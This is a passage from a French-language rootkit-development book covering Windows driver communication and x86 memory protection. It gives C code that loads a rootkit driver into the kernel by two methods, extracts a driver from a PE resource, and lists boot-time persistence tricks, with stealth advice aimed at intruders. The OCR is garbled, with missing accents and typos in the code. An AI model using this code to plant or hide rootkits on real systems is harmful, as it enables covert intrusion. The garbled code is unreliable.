hDevice = CreateFile("\\\\Device\\MyDevice,
GENERIC_READ | GENERIC_WRITE,

0,
NULL,

Chapitre 2

Infiltration du noyau 51

OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL

);
if ( hDevice == ((HANDLE)-1) ) return FALSE;

Une fois le handle de fichier ouvert, il peut servir de paramtre dans des fonctions en
mode utilisateur telles que ReadFile et WriteFile. Il peut aussi tre utilis pour
effectuer des appels IOCTL. Ces oprations provoquent la gnration dIRP qui
peuvent tre grs dans le driver.
Les handles de fichiers sont aiss ouvrir et utiliser partir du mode utilisateur.
Nous allons voir prsent comment les rendre encore plus faciles utiliser au moyen
de liens symboliques.

Ajout d'un lien symbolique


Un troisime concept li aux drivers est celui de lien symbolique. Certains drivers
emploient des liens symboliques pour permettre aux programmes utilisateur douvrir
plus facilement les handles de fichiers. Cette tape nest pas obligatoire, mais elle peut
tre utile car un nom symbolique est plus simple mmoriser. Un tel driver crerait un
priphrique puis appellerait IoCreateSymbolicLink pour crer le lien. Certains rootkits
emploient cette technique et dautres non. Voici comment procder :
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\vicesys2";
const WCHAR deviceNameBuffer[] = L"\\Device\\vicesys2";
NTSTATUS DriverEntryfIN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath

)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Dfinit le nom et le lien symbolique
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
// Dfinit le priphrique

//
ntStatus = IoCreateDevice ( DriverOb]ect,
0, // Pour l'extension du driver
&deviceNameUnicodeString,

Infiltrations du noyau Windows

52 Rootkits

FILE_DEVICE_ROOTKIT,
0,
TRUE,
&g_RootkitDevice );
if( NT_SUCCESS(ntStatus)) {
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );

Maintenant que le lien symbolique existe, un programme utilisateur peut ouvrir un


handle sur le priphrique en utilisant la chane "\ \. \MyDevice". Il importe peu que
vous criez ou non un lien symbolique. Cela permet simplement au code utilisateur de
trouver plus facilement le driver mais nest pas ncessaire :
hDevice = CreateFile("\\\\.WMyDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL

);
if ( hDevice == ((HANDLE)-1) )
return FALSE;

Aprs avoir expliqu comment communiquer entre le mode utilisateur et le mode


noyau au moyen dun handle de fichier, nous allons voir comment charger un driver.

Chargement du rootkit
Vous aurez invitablement besoin de charger le driver partir dun programme
utilisateur. Par exemple, si vous pntrez dans un systme informatique, vous voudrez
y copier un programme de dploiement, lexcuter et charger le rootkit dans le noyau.
Un programme de chargement (loader) dcompresse gnralement une copie du
fichier . sys sur le disque dur puis met des commandes pour le charger dans le noyau.
Bien entendu, pour toutes ces oprations, il doit sexcuter avec des droits
dadministrateur1.
Il existe de nombreuses faons de charger un driver dans le noyau. Nous abordons ici
deux mthodes, lune rapide mais pas idale, et lautre recommande.

1. Ou en tant que NT_AUTHORITY/SYSTEM, selon le systme sur lequel vous vous introduisez.

Chapitre 2

Infiltration du noyau 53

Approche rapide
A laide dun appel API non document, vous pouvez charger un driver dans le noyau
sans avoir crer de cls de registre. Le problme est que le driver est alors paginable,
cest--dire que la mmoire quil occupe peut tre transfre sur disque. Nimporte
quelle portion du driver peut tre pagine. Lorsquune section de mmoire est pagine,
il arrive parfois quelle soit inaccessible. Dans ce cas, une tentative daccs cette
portion donnera lieu au fameux cran bleu de Windows (un plantage du systme). La
seule faon demployer de manire scurise cette mthode de chargement est de
pallier le problme de pagination par une conception spcifique.
Un exemple de rootkit efficace et trs simple qui emploie cette approche est Migbot (il
est disponible sur rootkit.com). Il copie tout le code oprationnel dans un pool de
mmoire non paginable de sorte que son fonctionnement ne soit pas affect si le driver
est transfr sur disque.

Rootkit.com
Le code source de Migbot est tlchargeable ladresse
www.rootkit.com/vault/hoglund/migbot.zip.

Cette mthode de chargement porte gnralement le mme nom que lappel API non
document, savoir SYSTEM LOAD AND CALL IMAGE. Voici le code de chargement de
Migbot :
// ----------------------------------------------------------// Charge un fichier .sys en tant que driver au moyen //
d'une mthode non documente.

// ------------------------------------------------------bool load_sysfile()

{
SYSTEM_LOAD_AND_CALL_IMAGE Gregslmage;
WCHAR daPath[] = L"\\??\\C:\\MIGBOT.SYS";

//////////////////////////////////////////////////////////////
// Rcupre le point d'entre de la DLL
///////////////////////////////////////////////////////
/ / / / / / / if(!(RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress( GetModuleHandle(ntdll.dll")
,"RtlInitUnicodeString"

)))

54 Rootkits

Infiltrations du noyau Windows

{
retunn false;
}
if(!(ZwSetSystemlnformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress(
GetModuleHandle("ntdll.dll")
,"ZwSetSystemlnformation" )))
{
retunn false;
}
RtllnitUnicodeString(&(GregsImage.ModuleName), daPath);
if(!NT_SUCCESS(
ZwSetSystemlnformation(SystemLoadAndCallImage,
&GregsImage,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
return false;
}
return true;
}
Ce code est excut partir du mode utilisateur et sattend ce que le fichier .
C: \migbot. sys.

sys

soit

Migbot ninclut pas de mcanisme de dchargement et ne peut donc tre dcharg


quau redmarrage de la machine. Lintrt de cette approche est quelle peut offrir
davantage de furtivit que des protocoles plus tablis. Linconvnient est quelle
complique la conception du rootkit. Elle convient bien pour Migbot, mais pour des
rootkits plus complexes avec de nombreux hooks elle imposerait une surcharge de
code trop importante.

Approche recommande
La mthode tablie et correcte pour charger un driver consiste utiliser le gestionnaire
SCM (Service Control Manager), lequel entrane la cration de cls de registre. Avec
cette approche, le driver nest pas paginable, ce qui signifie que vos fonctions de
callback, vos fonctions de gestion des IRP et tout autre code important ne risquent pas
dtre pagins et ne causeront donc pas dcran bleu, ce qui est prfrable.
Lexemple de code suivant permet de charger nimporte quel driver daprs son nom
via SCM. Il enregistre dabord le driver puis le lance. Vous pouvez reprendre ce code
dans votre programme de chargement si vous le souhaitez :
bool _util_load_sysfile(char *theDriverName)
{

Chapitre 2

Infiltration du noyau 55

char aPath[1024];
char aCurrentDirectory[515];
SCJHANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (
! s h )

{
return false;

}
GetCurrentDirectory( 5 1 2 , aCurrentDirectory) ;
_snprintf(aPath,
1022,
"%s\\%s.sys",
aCurrentDirectory,
theDriverName) ;
printf("loading %s\n", aPath);
SC_HANDLE rh = CreateService(sh,
theDriverName,
theDriverName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
aPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if ( ! rh)

{
if (GetLastError() == ERROR_SERVICE_EXISTS)

{
// Le service existe
rh = OpenService(sh,
theDriverName,
SERVICE_ALL_ACCESS);
if(!rh)

{
CloseServiceHandle(sh);
return false;

}
}
else

{
CloseServiceHandle(sh) ;
return false;

}
}
// Dmarre les drivers if(rh)

{
if(0 == StartService(rh, 0, NULL))

56 Rootkits

Infiltrations du noyau Windows

{
if(ERROR_SERVICE_ALREADY_RUNNING == GetLastError())

{
I l Pas de rel problme

}
else

{
CloseServiceHandle(sh);
CloseServiceHandle(rh);
return false;

}
}
CloseServiceHandle(sh);
CloseServiceHandle(rh);

}
return true;

}
Vous disposez prsent de deux mthodes pour charger votre driver ou rootkit dans la
mmoire du noyau. Toute la puissance du systme dexploitation est maintenant entre
vos mains !
La section suivante dcrit comment utiliser un seul fichier, une fois que vous avez
accs un systme, pour contenir la fois la portion utilisateur et la portion noyau du
rootkit. Le fait demployer un seul fichier au lieu de deux permet de laisser moins de
traces sur le systme de fichiers ou lors de la traverse du rseau.

Dcompression du fichier . s y s

partir d'une ressource

Les fichiers excutables au format PE (Portable Excutable) de Windows peuvent


comprendre plusieurs sections, chacune delles pouvant tre considre comme un
dossier. Ceci permet au dveloppeur dy inclure divers objets, tels que des fichiers
graphiques. Nimporte quel objet binaire peut tre inclus, y compris dautres fichiers.
Par exemple, un tel excutable pourrait contenir la fois un fichier .sys et un fichier de
configuration avec des paramtres de dmarrage pour le rootkit. Un attaquant
ingnieux pourrait mme crer un utilitaire qui dfinit des options de configuration "
la vole" avant de tirer parti dun exploit avec le rootkit.
Lexemple suivant illustre comment accder une ressource nomme dans un fichier
PE et raliser ensuite une copie de cette ressource sous la forme dun fichier sur le
disque dur. Malgr lemploi du terme "decompress" dans le code, sachez que

Chapitre 2

Infiltration du noyau 57

le fichier est simplement extrait et pas vritablement dcompress puisquil na pas t


compress.
// ------------------------------------------------------// Build d'un fichier .sys sur disque partir d'une ressource

// ------------------------------------------------------bool _util_decompress_sysfile(char *theResourceName)

{
HRSRC aResourceH;
HGLOBAL
aResourceHGlobal;
unsigned char * aFilePtr;
unsigned long aFileSize;
HANDLE file_handle;

Lappel API de FindResource subsquent sert obtenir un handle sur le fichier


imbriqu. Une ressource possde un type, ici BINARY, et un nom :
//////////////////////////////////////////////////////////////
///
// Localise une ressource nomme dans le fichier .EXE courant
////////////////////////////////////////////////////////
/ / / / / / / / / aResourceH = FindResource(NULL, theResourceName, "BINARY");
if(!aResourceH)

{
return false;

}
Ltape suivante consiste invoquer LoadResource qui retourne un handle que nous
utiliserons dans des appels subsquents :
aResourceHGlobal = LoadResource(NULL, aResourceH); if(!aResourceHGlobal)

{
return false;

}
En invoquant SizeOf Resource, nous obtenons la longueur du fichier imbriqu :
aFileSize = SizeofResource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);
if(!aFilePtr)

{
return false;

}
La boucle suivante copie simplement le fichier imbriqu dans un fichier sur le disque
dur, en utilisant le nom de la ressource comme nom de fichier. En supposant

58 Rootkits

Infiltrations du noyau Windows

que la ressource se nomme "test", le fichier rsultant sappellerait Test. sys. Ainsi,
une ressource imbrique peut devenir un driver :
char _filename[64];
snprintf(_filename, 62, "%s.sys", theResourceName);
file_handle = CreateFileffilename,
FILE_ALL_ACCESS,
0,
NULL,
CREATE_ALWAYS,

0
NULL);
if(INVALID_HANDLE_VALUE == file_handle)

{
int err = GetLastError();
if( (ERROR_ALREADY_EXISTS == err) || (32 == err))

{
// Pas d'inquitude, le fichier existe et
// peut tre verrouill en raison de l'excutable.
return true;

>
printf("%s decompress error %d\n", _filename, err);
return false;

}
// Boucle while pour crire la ressource sur disque while(aFileSize--)

{
unsigned long numWritten;
WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL); aFilePtr++;

}
CloseHandle(file_handle); return true;

}
Aprs quun fichier . sys a t dcompress sur disque, il peut tre charg laide
dune des deux mthodes de chargement de rootkit vues prcdemment. Nous allons
maintenant aborder quelques stratgies permettant de charger un rootkit lors du
dmarrage.

Infiltration du noyau 59

Chapitre 2

Comment survivre la rinitialisation


Le driver du rootkit doit tre charg lors du dmarrage du systme. De manire
gnrale, de nombreux composants logiciels doivent tre chargs ce moment. Ds
lors que le rootkit est li un des vnements lists au Tableau 2.2, il sera charg.
Tableau 2.2 : Quelques approches pour charger un rootkit au dmarrage

Emploi de la cl de registre Run

La cl Run (et ses drivs) peut tre utilise pour


charger nimporte quel programme lors du
dmarrage. Ce programme peut dcompresser le
rootkit et le charger. Tous les scanners de virus
vrifient cette cl, aussi cette approche est-elle trs
risque. Une fois charg, le rootkit peut toutefois
dissimuler la valeur de cl afin de ne pas tre
dtect.

Emploi dun cheval de Troie


ou dun fichier infect

Nimporte quel fichier . sys ou excutable devant


tre charg au dmarrage peut tre remplac, ou
bien le code de chargement peut-il tre insr de la
mme manire quun virus infecte un fichier.
Ironiquement, les antivirus et produits de scurit
font partie des cibles idales. Un produit de scurit
dmarre typiquement en mme temps que le
systme. Une DLL troyenne pourrait tre insre
dans le chemin de recherche, ou bien une DLL
existante pourrait-elle simplement tre remplace
ou infecte.

Emploi de fichier . ini

Les fichiers . ini peuvent tre modifis pour que


des programmes soient excuts. De nombreux
programmes possdent des fichiers dinitialisation
qui peuvent excuter des commandes au dmarrage
ou spcifier des DLL charger. Un tel fichier est
win. ini.

Enregistrement en tant que driver

Le rootkit peut senregistrer lui-mme en tant de


driver charg au dmarrage, ce qui implique la
cration dune cl de registre. L encore, la cl peut
tre dissimule une fois le rootkit charg.

60 Rootkits

Infiltrations du noyau Windows

Tableau 2.2 : Quelques approches pour charger un rootkit au dmarrage (suite)


Enregistrement en tant que add-on pour
une application existante

Une des approches prfres des logiciels espions


(spyware) consiste ajouter une extension une
application de navigation Web (par exemple sous la
forme dune barre d'outils) qui sera charge en
mme temps que cette dernire. Cette mthode
requiert que lapplication soit lance mais, sil y a
de fortes de chances que cela se produise avant que
le rootkit ne doive tre activ, il sagit dune
approche efficace. Linconvnient est quil existe
de nombreux scanners dadwares capables de
dtecter de telles extensions.

Modification du noyau sur disque

Le noyau peut directement tre modifi et


enregistr sur disque. Il suffit de quelques
changements apports au boot-loader pour que
le contrle d'intgrit par total de contrle
(ichecksum) du noyau russisse. Cette mthode peut
tre trs efficace puisque le noyau est modifi de
faon permanente et aucun driver ne doit tre
enregistr.

Modification du boot-loader

Le boot-loader peut tre modifi pour appliquer


des patchs au noyau avant quil ne soit charg.
Un avantage est que le noyau semblera intact si le
systme est analys hors ligne. Linconvnient est
quune telle modification peut tre dtecte avec
les outils appropris.

Cette liste nest en aucun cas exhaustive, et il existe de nombreuses autres mthodes de
chargement au dmarrage. Avec un peu de crativit et de temps, vous devriez pouvoir
en dcouvrir dautres.

En conclusion
Ce chapitre a couvert les notions fondamentales du dveloppement de drivers pour
Windows. Nous avons dcrit certaines des zones cls du noyau pouvant tre cibles.
Nous avons expliqu en dtail comment configurer lenvironnement de dveloppement
et les outils requis pour faciliter llaboration du rootkit. Nous avons expos les
exigences de base lies au chargement, au dchargement et au lancement dun

Chapitre 2

Infiltration du noyau 61

driver. Et nous avons voqu les mthodes de dploiement dun driver et comment le
charger au dmarrage du systme.
Les sujets traits dans ce chapitre sont essentiels afin de pouvoir crire des root- kits
pour Windows. A ce stade, vous devriez tre capable dcrire un simple rootkit "Hello
World!", le charger dans le noyau et le dcharger. Vous devriez aussi pouvoir crire un
programme en mode utilisateur pouvant communiquer avec un driver en mode noyau.
Dans les chapitres suivants, nous explorerons plus avant les rouages du noyau et le
matriel sous-jacent qui soutient tous les programmes. En commenant par les
structures de bas niveau, vous acquerrez la comprhension correcte qui vous permettra
dassimiler et de synthtiser les connaissances relatives aux lments des niveaux
suprieurs. Cest ainsi que vous deviendrez un matre des rootkits.

Le niveau matriel
Un anneau pour les gouverner tous, un anneau pour les trouver, un
anneau pour les amener tous et dans les tnbres les lier.
- Le Seigneur des Anneaux, J. R. R. Tolkien

Le logiciel et le matriel oprent de conserve. Le second sans le premier ne serait que


de la silicone sans vie, et le premier ne peut exister seul. Le logiciel sert piloter
lordinateur, mais cest le matriel qui en sous-tend limplmentation.
Le matriel forme de plus lultime rempart protgeant le logiciel, une cuirasse sans
laquelle celui-ci serait totalement vulnrable. Beaucoup de textes ont trait du
dveloppement logiciel sans toutefois jamais aborder le niveau matriel. Ceci est
acceptable dans le cas dapplications dentreprise, mais pas envisageable pour un
dveloppeur de rootkits qui doit se confronter des problmes divers, tels que faire
usage de rtro-ingnierie, programmer en langage assembleur et comprendre les
mcanismes dattaques hautement techniques. Une bonne comprhension du niveau
matriel vous aidera faire face ces difficults. Dans les prochains chapitres, vous
rencontrerez des concepts et des exemples de code qui supposent une comprhension
fondamentale de ce niveau. Nous vous encourageons donc lire le prsent chapitre
avant de poursuivre.

64 Rootkits

Infiltrations du noyau Windows

Au final, tous les contrles daccs sont implments au niveau matriel. Par exemple,
le principe de sparation des processus est appliqu au moyen danneaux dans
larchitecture du microprocesseur Intel x86. Si les processeurs Intel ne possdaient pas
de mcanismes de contrle daccs la mmoire, ce serait considrer tous les logiciels
actifs sur un systme comme tant fiables. Un programme fautif qui planterait, par
exemple, aurait alors le potentiel dentraner dans sa chute tout le systme. Tout
programme pourrait aussi accder en lecture/criture au matriel ou nimporte quel
fichier ou mme modifier lespace mmoire dun autre processus. Ce sont des
problmes qui peuvent mme vous sembler familiers, nest-ce pas ? Mme si les
processeurs Intel taient dj dots depuis de nombreuses annes de fonctionnalits de
scurit, Microsoft nen a pas tir parti avant lintroduction de son systme
dexploitation Windows NT.
Dans ce chapitre, nous tudierons les mcanismes matriels qui sous-tendent la
scurit des accs mmoire dans lenvironnement Windows. Nous commencerons par
les mcanismes de contrle daccs disponibles dans la famille de processeurs x86.
Nous verrons ensuite de quelle manire ceux-ci grent lensemble des activits au
moyen de tables de rfrence. Nous traiterons galement des registres de contrle et,
plus yimportant encore, de la faon dont les pages mmoire fonctionnent.

Anneau zro
La famille de CPU x86 dIntel emploie un concept d'anneaux pour assurer le contrle
des accs la mmoire, numrots de 0 3, o le numro le plus faible confre les
droits les plus levs. Ces anneaux sont reprsents en interne par un nombre car les
processeurs ne possdent pas rellement danneaux physiques.
Tout le code du noyau Windows opre dans lanneau 0. Par consquent, les rootkits en
mode noyau sont aussi actifs ce niveau. Les programmes en mode utilisateur, cest-dire ne sexcutant pas dans le noyau (tel votre tableur prfr), sont dits fonctionner
dans lanneau 3. Beaucoup de systmes dexploitation tournant sur les processeurs
x86, y compris Windows et Linux, ne tirent parti que des anneaux 0 et 3 et
nemploient donc pas les anneaux 1 et 2 1.
Le processeur se charge de suivre le niveau de privilge accord chaque programme
et la mmoire associe et de faire respecter les restrictions daccs

1. Bien que les anneaux 1 et 2 puissent tre utiliss, larchitecture du systme Windows ne les requiert pas.

Le niveau matriel 65

Chapitre 3

inter-anneaux. Chaque programme reoit en principe un numro danneau et ne peut


accder un anneau de niveau infrieur. En loccurrence, un programme danneau 3
ne pourra accder aux lments dun programme danneau 0. En cas de tentative
daccs non conforme, le processeur gnre une interruption et, dans la plupart des cas,
laccs est interdit par le systme dexploitation. La tentative pourra mme rsulter en
la fermeture du programme fautif.
Sous le capot, il existe une certaine quantit de code pour assurer ce contrle. Il y a
aussi du code qui autorise un programme accder des lments dun anneau
infrieur dans des circonstances particulires. Par exemple, le chargement dun driver
dimprimante dans le noyau ncessite quun programme administrateur (danneau 3)
puisse accder aux drivers dj chargs (danneau 0). Donc, une fois charg, un driver
ou un rootkit peut sexcuter dans lanneau 0 en tant libr des restrictions daccs.
De nombreux outils aptes dtecter les rootkits sont actifs en tant que programmes
dadministrateur danneau 3. Un dveloppeur de rootkit doit comprendre comment
tirer parti du niveau de privilges suprieur dont bnficiera son rootkit par rapport
loutil de ladministrateur. Le rootkit peut, par exemple, utiliser cette caractristique
pour tenter dchapper loutil ou de le rendre inoprant. De plus, un rootkit est
gnralement install au moyen dun petit programme de chargement, ou loader
(introduit au Chapitre 2), fonctionnant avec des droits danneau 3. Pour pouvoir
charger le rootkit dans le noyau, le chargeur emploie une fonction spciale qui lui
permet daccder lanneau 0.
La Ligure 3.1 illustre le concept danneaux de larchitecture x86 dIntel et les niveaux
dexcution des programmes en mode utilisateur ou noyau.

Figure 3.1
Les anneaux des
processeurs
Intel x86.

Program
rr
utilisate
ur
Programm
es
de noyau
'

66 Rootkits

Infiltrations du noyau Windows

Outre les restrictions daccs la mmoire, il existe dautres fonctions de scurit et


certaines instructions privilgies ne peuvent tre utilises que dans lanneau 0. Elles
servent gnralement modifier le comportement du processeur ou pour accder
directement au matriel. Cest le cas, par exemple, des instructions x86 suivantes :

CLI.

Stoppe le traitement des interruptions (pour le processeur en cours).

STI.

Dmarre le traitement des interruptions (pour le processeur en cours). s

IN. Lit des donnes depuis un port matriel.


Ecrit des donnes vers un port matriel.
Le fonctionnement dun rootkit dans lanneau 0 procure de nombreux avantages en
terme de fonctionnalits. Un tel rootkit peut manipuler le matriel mais aussi
lenvironnement dans lequel les autres programmes fonctionnent, ce qui est essentiel
pour prserver sa furtivit.
B OUT.

Maintenant que vous savez comment un processeur assure le contrle des accs la
mmoire, examinons comment il gre certaines donnes importantes.

De l'importance des tables


Outre la gestion des anneaux, le processeur est aussi responsable de nombreuses autres
activits. Par exemple, il doit dcider de ce quil faut faire lorsquune interruption est
mise, lorsquun programme plante, lorsquun composant matriel se manifeste,
lorsquun programme utilisateur tente de communiquer avec le programme du noyau
ou lors du changement de contexte dun thread pour un programme multithread.
Certes, le code du systme dexploitation se charge de telles activits, mais le
processeur les traite toujours en premier.
Pour chaque vnement important, le processeur doit dterminer la routine en charge.
Puisque chaque routine est active en mmoire, le processeur doit connatre son adresse
ou, plutt, savoir comment la trouver. Puisquil ne peut conserver toutes les adresses
de routines en interne, il doit se les procurer ailleurs. Il emploie cette fin des tables
dadresses. Lorsquun vnement se produit, telle une interruption, il recherche
lvnement dans une table de rfrence et trouve ladresse de la routine, ou
gestionnaire, charge de son traitement. La seule information dont le

Chapitre 3

Le niveau matriel 67

processeur a besoin pour effectuer cette recherche est ladresse de base de chaque table
en mmoire.
Il existe plusieurs tables importantes :
H la table globale de descripteurs, ou GDT (Global Descriptor Table), pour le
mapping (mise en correspondance) dadresses ;
a les tables locales de descripteurs, ou LDT (Local Descriptor Table), pour le mapping
dadresses ;
le rpertoire de (tables de) pages mmoire {Page Directory), pour le mapping
dadresses ;
B la table de descripteurs dinterruptions, ou IDT (Interrupt Descriptor Table), pour
localiser les gestionnaires dinterruptions.
Outre ces tables, il existe dautres tables gres directement par le systme
dexploitation. Etant donn quelles ne sont pas directement supportes par le
processeur, le systme dexploitation fait appel des fonctions spciales pour les
grer. Une table importante est par exemplela table de distribution des services
systme, ou SSDT {System Service Dispatch Table), que Windows utilise pour traiter
les appels systme.
Ces tables sont employes de diverses faons que nous aurons loccasion dexplorer
dans les sections suivantes. Nous verrons aussi de quelle faon un dveloppeur de
rootkit peut les modifier pour prserver sa furtivit ou intercepter des donnes.

Pages mmoire
Tout lespace mmoire est divis en pages, linstar dun livre. Chaque page ne peut
contenir quun certain nombre de caractres. Chaque processus utilise une table
distincte pour localiser ces pages mmoire.
Imaginez que la mmoire soit comme une bibliothque gante o chaque processus
possde son propre catalogue de rfrence, une table particulire qui lui donne une
"vue" de la mmoire unique et diffrente de celle de chaque autre processus. Ainsi,
deux processus peuvent lire une mme adresse dite virtuelle, par exemple 0x00401122,
et obtenir des valeurs diffrentes situes des adresses physiques diffrentes.

68 Rootkits

Infiltrations du noyau Windows

Les pages mmoire font lobjet dun contrle daccs. En poursuivant avec la mme
analogie, imaginez que le processeur soit un bibliothcaire autoritaire qui autorise
chaque processus ne lire que quelques livres de la bibliothque. Pour lire ou crire
dans une portion de la mmoire, un processus doit dabord trouver le "livre" correct,
puis la "page" exacte de la portion en question. Si le processeur napprouve pas le livre
ou la page demands, laccs est refus.
La procdure de recherche dune page est longue et complexe, et un contrle daccs
est appliqu aux diffrentes tapes de la procdure. Le processeur vrifie si un
processus peut accder un certain livre (le contrle du descripteur), sil peut accder
un certain chapitre (le contrle du rpertoire de pages) et finalement sil peut
accder une certaine page du chapitre (le contrle de page).
Un processus devra passer tous ces contrles de scurit avant dtre autoris accder
une page mmoire et, mme sil y parvient, la page peut aussi tre marque en
lecture seule. Le processus pourra alors lire la page, mais pas y crire. Cest de cette
manire que lintgrit des donnes est prserve.
Les dveloppeurs de rootkit se comportent tels des vandales dans la bibliothque,
gribouillant partout. Il est donc important dapprofondir vos connaissances sur
laltration des mcanismes de contrle daccs.

Les coulisses du contrle d'accs


Lors de laccs une page mmoire, un processeur x86 ralise les contrles
suivants :
H

Contrle de descripteur (ou de segment). Il concerne laccs la table GDT et le


contrle du descripteur de segment. Le descripteur contient une valeur indiquant le
niveau de privilges, le DPL (Descriptor Privilge Level). Cette valeur reprsente
le numro danneau (de 0 3) requis par le processus demandeur. Si le niveau
demand est infrieur au niveau danneau actuel du processus - appel parfois le
niveau de privilges actuel, ou CPL (Current Privilge Level) -, laccs est refus
et le contrle sarrte l.

s Contrle de rpertoire de pages. Un bit utilisateur/superviseur sert au contrle


dune table de pages entire, cest--dire de toute une plage de pages mmoire. Si
le bit est 0, seuls des programmes de niveau "superviseur" (des anneaux 0,

Le niveau matriel 69

Chapitre 3

1 et 2) peuvent accder la plage mmoire concerne. Si le processus appelant


nest pas de ce niveau, le contrle sarrte. Si le bit est 1, tout programme peut
accder la plage concerne.
B Contrle de page. Ce contrle est effectu pour une seule page mmoire et
intervient si le contrle de rpertoire a russi. A linstar de ce dernier, un bit
utilisateur/superviseur ayant la mme signification est associ chaque page.
Un processus peut accder une page mmoire que sil passe tous les contrles sans
rencontrer de refus.
La famille de systmes dexploitation Windows nemploie pas vraiment le contrle de
descripteur. Au lieu de cela, le systme sappuie uniquement sur les anneaux 0 et 3,
respectivement appels parfois mode noyau et mode utilisateur. Ceci permet au bit
utilisateur/superviseur de contrle de table de pages deffectuer seul le contrle
daccs. Les programmes en mode noyau, danneau 0, peuvent toujours accder la
mmoire alors que ceux danneau 3 ne pourront accder quaux pages marques
"utilisateur".
La Figure 3.2 illustre un dump de la GDT (dans Soflce) dans Windows 2000. On y
voit le niveau de privilge (DPL) de chaque entre. Les quatre premires entres (08,
10, IB et 23) englobent la totalit de la plage mmoire pour les donnes et le code et
pour les programmes des anneaux 0 et 3. Le rsultat est que la GDT ne fournit ici
aucune scurit pour le systme. La scurit doit tre applique "en aval" dans les
tables de pages. Pour comprendre cela dans le dtail, vous devez dabord apprendre
comment une adresse de mmoire virtuelle est traduite en adresse physique. Ce sera
lobjet de la prochaine section.

Se 1 . "gpe- - - -Base L imi t -

-DPL-A-t.tr i butes

GDTbase=80036000 Limit=03FF
0008 Code32
00000000 FFFFFFFF
0010 Data32
00000000 FFFFFFFF
001B Code32
00000000 FFFFFFFF
00Z3 Data32
00000000 FFFFFFFF
802A9000 000020AB
0028 TSS32
0030 Data32
FFDFF000 00001FFF
003 B Data32
00000000 00000FFF
0043B Datal6
00000400 0000FFFF

Figure 3.2
La GDT sous Windows 2000.

0
0
3
3
0
0
3
3

P
P
P
P
P
P
P
P

RE
RW
RE
RW
B
RW
RW
RW

70 Rootkits

Infiltrations du noyau Windows

Pagination mmoire et traduction d'adresse


Le mcanisme de protection de la mmoire nest pas utilis que pour la scurit. La
plupart des systmes dexploitation actuels emploient le concept de mmoire virtuelle.
Ceci permet chaque programme actif davoir son propre espace dadressage, dune
part, et de pouvoir disposer dun espace mmoire suprieur la mmoire physique, ou
RAM, disponible, dautre part. Par exemple, un ordinateur avec 256 Mo de RAM ne
limitera pas chaque programme seulement 256 Mo de mmoire. Un programme peut
facilement utiliser 1 Go de mmoire sil le souhaite : la mmoire supplmentaire est
simplement stocke sur disque dans un fichier appel fichier dchange (swap file) ou
fichier de pagination (paging file). Grce la mmoire virtuelle, plusieurs processus
peuvent continuer sexcuter simultanment, chacun avec son propre espace
dadressage, mme lorsque la mmoire totale consomme excde la quantit de RAM
installe.
Les pages de mmoire peuvent tre marques comme ayant t "pagines" vers le
disque {page out), cest--dire dplaces de la mmoire vive vers le fichier dchange
sur disque. Lorsquune de ces pages est demande par un processus, une interruption
se produit. Le gestionnaire dinterruption se charge alors de lire la page pour la
replacer en mmoire (page in). Dans la plupart des systmes, seul un faible
pourcentage de la mmoire physique totale est autoris tre pagin sur disque
quelque moment que ce soit. Un ordinateur ne possdant que peu de RAM aura un
gros fichier de pagination qui fera lobjet de nombreux accs en lecture et criture. A
linverse, davantage de RAM signifie moins daccs au fichier.
Lorsquun processus souhaite accder une page mmoire, il doit en spcifier
ladresse virtuelle, qui doit tre traduite en adresse physique. Cest une tape
importante car ladresse utilise par le processus nest pas la mme que ladresse
relle de lemplacement mmoire o sont stockes les donnes. Une routine de
traduction est charge de cette opration.
Par exemple, imaginez que Notepad.exe souhaite obtenir un contenu en mmoire situ
ladresse virtuelle 0x0041 FF10, comme lors dune instruction mov eax, 0x0041 FF10.
Cette adresse pourrait, par exemple, tre traduite en adresse physique

Le niveau matriel 71

Chapitre 3

0x01 EE2F10

registre EAX

et cest la valeur rsidant sur cet emplacement qui sera place dans
(voir Figure 3.3).

le

0x01EE2F10

Figure 3.3
Traduction d'adresse pour une instruction mov.

Recherche dans une table de pages mmoire


La traduction dadresses virtuelles est gre au moyen dune table spciale appele
rpertoire de tables de pages, ou rpertoire de pages. Un processeur x86 Intel
conserve dans un registre spcial appel CR3 un pointeur vers ce rpertoire. Il sagit
dun tableau (array) de 1 024 entres de 32 bits. Chacune de ces entres reprsente
ladresse de base dune table de pages et contient un bit de statut indiquant si la table
est prsente ou non en mmoire physique. Ce sera partir dune telle table quune
adresse physique de page peut tre obtenue (voir Figure 3.4).
La Figure 3.4 illustre les diffrentes structures qui sont utilises lors de la recherche
dune adresse physique. Ladresse virtuelle spcifie est divise en trois parties,
chacune contenant un index de positionnement dans la structure qui est lue. La Figure
3.5 illustre le rle de ces parties.

72 Rootkits

Infiltrations du noyau Windows

Figure 3.4
Trouver une page dans la mmoire.

31 22

21 12

11 0

Index de rpertoire
de pages (1 024
valeurs possibles)

Index de table de
pages (1 024
valeurs
possibles)

Emplacement
dans la page (4
096 valeurs
possibles)

Figure 3.5
Les diffrentes parties d'une adresse virtuelle1.

1. Si la page est marque en tant que page de 4 Mo, les bits 22-31 spcifient ladresse de base de la page
physique, et les bits 0-21 indiquent loffset au sein de la page.

Chapitre 3

Le niveau matriel 73

Les tapes suivantes sont ralises par le systme dexploitation et le processeur lors
de la traduction dune adresse virtuelle en adresse physique :
H

Le processeur consulte le registre CR3 pour trouver ladresse de base du rpertoire de


tables de pages.

Ladresse virtuelle est divise en trois parties, comme nous lavons vu la Figure
3.5.
